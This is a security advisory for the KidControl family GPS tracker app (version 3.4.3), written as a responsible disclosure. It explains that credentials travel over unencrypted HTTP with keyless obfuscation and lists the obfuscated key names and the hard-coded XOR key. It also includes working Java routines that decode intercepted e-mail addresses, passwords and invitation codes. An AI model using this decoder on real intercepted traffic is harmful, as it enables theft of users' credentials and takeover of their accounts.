SIK-2017-014
Title:
Insecure Login in KidControl GPS Tracker App
Report ID
SIK-2017-014
Summary:
- Vendor: KidControl Dev.
- Product: Family GPS tracker Kid Control
- Affected Version: 3.4.3
- Severity: High
- Short summary:
The app transfers all credentials (login, registration, signup using invitation code) via http and applies some obfuscation instead of proper encryption.
Details:
When the user logs into the app, creates a new account, or uses an invitation code to participate, this data is transferred to the app provider’s backend via an unencrypted and unauthenticated http connection. Attackers can easily intercept this data. The app uses some obfuscation to make it harder to reconstruct the original credentials, but no secret is required to undo this obfuscation.
The data is transmitted using key/value pairs in a get request. For additional obfuscation, the key names are randomly picked. Furthermore, some useless key/value pairs containing garbage are added to fool the analyst. For the following processes, we describe the universes from which those keys are picked. Note that the universes never overlap, so it is always clear where a value belongs. The Values themselves are also obfuscated which we explain below.
Process 1: Sign up using an invitation code
The name is transmitted using one of the following keys (random pick):
nm, raw, mne, dpt, mop, nbt, ram, wvw, cah
The code is transmitted using one of the following keys (random pick):
na, bjn, pll, tkk, gsm, fbt, nod, xos, hnw
Process 2: Log in as an existing user
The e-mail address of the user is transmitted using one of the following keys (random pick):
nl, bhf, mag, bdt, qac, trn, amr, mix, nch
The password of the user is transmitted using one of the following keys (random pick):
df, ssp, fgh, drt, tnd, rfb, rma, vwe, hac
Value obfuscation
The value obfuscation works as follows:
- Convert the string to bytes (String.getBytes())
- Convert the bytes to a Base64 string
- Apply an XOR encryption in ECB mode using the following key: { 107, 99, 35, 97, 112, 112, 35, 107, 101, 121, 35 }
- Convert the new string into bytes again (String.getBytes())
- Convert the bytes to a Base64 string (attention: URL / MIME mode)
Exploit:
Invitation code:
private static void decraptInviteCodeData(String[] keyValuePairs) {
for (String kvPair : keyValuePairs) {
String[] innerSplit = kvPair.split("=");
String key = innerSplit[0];
String value = innerSplit[1];
// Param0
if (key.equals("ai") || key.equals("frm") || key.equals("val") || key.equals("dat") || key.equals("aqc")
|| key.equals("btn") || key.equals("ond") || key.equals("utm") || key.equals("can")) {
System.out.println("Param0: " + decrapt(value));
}
// Param1: Name
else if (key.equals("nm") || key.equals("raw") || key.equals("mne") || key.equals("dpt")
|| key.equals("mop") || key.equals("nbt") || key.equals("ram") || key.equals("wvw")
|| key.equals("cah")) {
System.out.println("Param1: " + decrapt(value));
}
// Param2: Code
else if (key.equals("na") || key.equals("bjn") || key.equals("pll") || key.equals("tkk")
|| key.equals("gsm") || key.equals("fbt") || key.equals("nod") || key.equals("xos")
|| key.equals("hnw")) {
System.out.println("Param2: " + decrapt(value));
}
}
}
Login with e-mail address and password:
private static void decraptLoginData(String[] keyValuePairs) {
for (String kvPair : keyValuePairs) {
String[] innerSplit = kvPair.split("=");
String key = innerSplit[0];
String value = innerSplit[1];
// E-Mail address
if (key.equals("nl") || key.equals("bhf") || key.equals("mag") || key.equals("bdt") || key.equals("qac")
|| key.equals("trn") || key.equals("amr") || key.equals("mix") || key.equals("nch")) {
System.out.println("E-Mail: " + decrapt(value));
}
// Password
else if (key.equals("df") || key.equals("ssp") || key.equals("fgh") || key.equals("drt")
|| key.equals("tnd") || key.equals("rfb") || key.equals("rma") || key.equals("vwe")
|| key.equals("hac")) {
System.out.println("Password: " + decrapt(value));
}
}
}
Value obfuscation undo:
private static String decrapt(String value) {
byte[] key = new byte[] { 107, 99, 35, 97, 112, 112, 35, 107, 101, 121, 35 };
// Base64 decode input
byte[] bytes = Base64.getDecoder().decode(value);
String str = new String(bytes);
StringBuilder sb = new StringBuilder();
for (int i = 0; i < str.length(); i++) {
char c = (char) (str.charAt(i) ^ key[i % key.length]);
sb.append(c);
}
// Once again perform a Base64 decode
try {
return new String(Base64.getMimeDecoder().decode(sb.toString().getBytes()));
} catch (Exception ex) {
return "<invalid>";
}
}
Workaround
None.
Suggested Mitigation
Never implement own „crypto“ algorithms. Use existing well-researched and well-tested technologies such as SSL. Obfuscation does not protect data.
Timeline
- 2017-04-12: Vulnerability discovered.
- 2017-05-18: Reported
- 2018-08-11: Published